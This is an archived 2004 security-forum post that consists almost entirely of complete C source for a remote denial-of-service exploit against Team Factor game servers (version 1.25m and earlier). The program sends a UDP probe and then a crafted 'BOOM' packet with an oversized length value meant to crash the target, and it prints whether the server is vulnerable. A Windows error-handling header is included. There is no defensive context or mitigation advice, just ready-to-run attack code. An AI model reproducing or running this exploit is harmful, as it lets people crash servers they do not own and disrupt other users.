hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Help - Search - Member List - Calendar
Full Version: Team Factor Remote Server Dos Exploit
GovernmentSecurity.org > The Archives > Exploit Articles
Leonnetje
Feb 26 2004, 09:52 AM
CODE

/*

by Luigi Auriemma

UNIX & WIN VERSION
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif




#define VER "0.1"
#define BUFFSZ 2048
#define PORT 57778
#define TIMEOUT 5
#define OFFSET 12
#define BOOM 0xffff // abnormal program termination
// #define BOOM 0x8000 // unallocated memory reading

#define SEND { \
err = sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer, psz); \
if(err < 0) std_err(); \
}
#define RECV { \
err = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz); \
if(err < 0) std_err(); \
buff[err] = 0x00; \
printf(" %s\n", buff + OFFSET + 2); \
}




int timeout(int sock);
u_long resolv(char *host);
void std_err(void);





int main(int argc, char *argv[]) {
int sd,
err,
psz;
u_short port = PORT;
struct sockaddr_in peer;
u_char *buff,
pck[] =
"\x00\x00\x00\x00\x00\x00\x00\x00\xb1\x36\x01\x01"
"\x00\x05" "hello";
// |
// big endian!


setbuf(stdout, NULL);

fputs("\n"
"Team Factor <= 1.25m remote server crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\;n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <server> [port(%d)]\n"
"\n", argv[0], PORT);
exit(1);
}

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

if(argc > 2) port = atoi(argv[2]);

peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
psz = sizeof(peer);

printf("\nTarget %s:%hu\n",
inet_ntoa(peer.sin_addr), port);

buff = malloc(BUFFSZ);
if(!buff) std_err();

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

/* INFO */
fputs("\n- Requesting informations:\n\n", stdout);
SEND;
if(timeout(sd) < 0) {
fputs("\nError: socket timeout\n", stdout);
exit(1);
}
RECV;

/* BOOM */
fputs("\n- Sending the BOOM packet:\n\n", stdout);
*(u_short *)(pck + OFFSET) = htons(BOOM);
SEND;
if(timeout(sd) < 0) {
fputs("Server IS vulnerable!!!!!!!!\n\n", stdout);
} else {
fputs("Server is not vulnerable\n\n", stdout);
}

close(sd);
return(0);
}





int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}





u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}





#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif


================================================================================
====================

/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
char *error;

switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.